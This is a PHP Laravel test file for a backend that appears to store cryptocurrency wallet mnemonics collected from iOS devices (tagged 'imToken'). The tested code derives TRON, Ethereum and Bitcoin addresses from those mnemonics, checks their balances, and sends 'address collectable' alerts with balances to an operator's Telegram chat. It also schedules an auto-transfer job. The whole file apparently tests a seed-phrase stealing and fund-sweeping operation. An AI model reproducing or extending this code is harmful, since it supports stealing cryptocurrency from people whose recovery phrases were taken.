'tg-token', 'coruna.telegram.owner_chat_id' => '10001', 'coruna.tron.full_node' => 'https://api.trongrid.io', 'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t', 'coruna.eth.rpc_url' => 'https://ethereum.example', 'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7', 'coruna.btc.api_url' => 'https://mempool.example/api', ]); } private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic { $row = new WalletMnemonic([ 'device_id' => $device->id, 'source' => $source, ]); $row->mnemonic = self::MNEMONIC; $row->save(); return $row; } #[Test] public function schedule_runs_link_mnemonics_with_auto_transfer(): void { $this->artisan('schedule:list') ->expectsOutputToContain('coruna:link-mnemonics') ->expectsOutputToContain('coruna:auto-transfer') ->assertSuccessful(); } #[Test] public function successful_link_sends_collectable_address_telegram(): void { Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), ]); $device = Device::query()->create([ 'device_id' => 'dev-collect-link', 'ios_version' => '18.0', 'device_model' => 'iPhone', ]); $this->storeMnemonic($device); $addr = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => self::TRON_0, 'chain_type' => 'TRON', 'source' => 'imToken', 'monitor' => 0, 'trx' => 3.5, 'usdt' => 12, ]); $this->assertTrue(app(MnemonicAddressLinker::class)->linkAddress($addr)); Http::assertSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '地址可归集通知') && str_contains($text, self::TRON_0) && str_contains($text, 'TRX: 3.5') && str_contains($text, 'USDT: 12') && ($request->data()['chat_id'] ?? null) === '10001'; }); } #[Test] public function unmatched_link_does_not_send_collectable_telegram(): void { Http::fake([ 'api.telegram.org/*' => Http::response(['ok' => true], 200), ]); $device = Device::query()->create(['device_id' => 'dev-collect-miss']); $this->storeMnemonic($device); $addr = WalletAddress::query()->create([ 'device_id' => $device->id, 'address' => 'TXYZunmatched111111111111111111111', 'chain_type' => 'TRON', 'source' => 'imToken', 'monitor' => 0, ]); $this->assertFalse(app(MnemonicAddressLinker::class)->linkAddress($addr)); Http::assertNotSent(fn ($request) => str_contains((string) ($request->data()['text'] ?? ''), '地址可归集通知')); } #[Test] public function mnemonic_derive_sends_collectable_addresses_and_balances(): void { Http::fake(function ($request) { $url = $request->url(); if (str_contains($url, 'api.telegram.org')) { return Http::response(['ok' => true], 200); } if (str_contains($url, '/wallet/getaccount')) { $addr = (string) ($request->data()['address'] ?? ''); if ($addr === self::TRON_0) { return Http::response([ 'address' => $addr, 'create_time' => 1, 'balance' => 5_000_000, ], 200); } return Http::response([], 200); } if (str_contains($url, '/wallet/triggerconstantcontract')) { return Http::response(['constant_result' => [dechex(2_000_000)]], 200); } if (str_contains($url, 'ethereum.example')) { $data = $request->data(); $method = $data['method'] ?? ''; $target = strtolower((string) ($data['params'][0] ?? '')); $hit = $target === self::ETH_0; if ($method === 'eth_getTransactionCount') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200); } if ($method === 'eth_getBalance') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); } if ($method === 'eth_call') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); } } if (str_contains($url, 'mempool.example')) { $activated = str_contains($url, self::BTC_0); return Http::response([ 'chain_stats' => [ 'tx_count' => $activated ? 1 : 0, 'funded_txo_count' => $activated ? 1 : 0, 'funded_txo_sum' => $activated ? 100_000 : 0, 'spent_txo_sum' => 0, ], ], 200); } return Http::response([], 404); }); $device = Device::query()->create(['device_id' => 'dev-collect-derive']); $mnemonic = $this->storeMnemonic($device); $this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic)); $this->assertSame( [1, 1, 1], WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all() ); Http::assertSent(function ($request) { if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) { return false; } $text = (string) ($request->data()['text'] ?? ''); return str_contains($text, '地址可归集通知') && str_contains($text, self::TRON_0) && str_contains($text, self::ETH_0) && str_contains($text, self::BTC_0) && str_contains($text, 'TRX:') && str_contains($text, 'USDT:') && str_contains($text, 'BTC:') && ($request->data()['chat_id'] ?? null) === '10001'; }); } #[Test] public function rediscovery_does_not_resend_collectable_telegram(): void { Http::fake(function ($request) { $url = $request->url(); if (str_contains($url, 'api.telegram.org')) { return Http::response(['ok' => true], 200); } if (str_contains($url, '/wallet/getaccount')) { $addr = (string) ($request->data()['address'] ?? ''); if ($addr === self::TRON_0) { return Http::response(['address' => $addr, 'create_time' => 1, 'balance' => 5_000_000], 200); } return Http::response([], 200); } if (str_contains($url, '/wallet/triggerconstantcontract')) { return Http::response(['constant_result' => [dechex(2_000_000)]], 200); } if (str_contains($url, 'ethereum.example')) { $data = $request->data(); $method = $data['method'] ?? ''; $target = strtolower((string) ($data['params'][0] ?? '')); $hit = $target === self::ETH_0; if ($method === 'eth_getTransactionCount') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200); } if ($method === 'eth_getBalance') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); } if ($method === 'eth_call') { return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200); } } if (str_contains($url, 'mempool.example')) { $activated = str_contains($url, self::BTC_0); return Http::response([ 'chain_stats' => [ 'tx_count' => $activated ? 1 : 0, 'funded_txo_count' => $activated ? 1 : 0, 'funded_txo_sum' => $activated ? 100_000 : 0, 'spent_txo_sum' => 0, ], ], 200); } return Http::response([], 404); }); $device = Device::query()->create(['device_id' => 'dev-collect-rediscover']); $mnemonic = $this->storeMnemonic($device); $discovery = app(MnemonicWalletDiscovery::class); // First pass: 3 activated addresses discovered + notified. $this->assertSame(3, $discovery->discoverActivated($mnemonic)); // Second pass: rows already linked → persistActivated returns null for each // → no new $saved → return 0, and no telegram re-send. $sentBefore = collect(Http::recorded())->filter( fn ($r) => str_contains((string) $r[0]->url(), 'api.telegram.org/bottg-token/sendMessage') )->count(); $this->assertSame(0, $discovery->discoverActivated($mnemonic)); $sentAfter = collect(Http::recorded())->filter( fn ($r) => str_contains((string) $r[0]->url(), 'api.telegram.org/bottg-token/sendMessage') )->count(); $this->assertSame($sentBefore, $sentAfter, 'rediscovery must not resend collectable notifications'); } }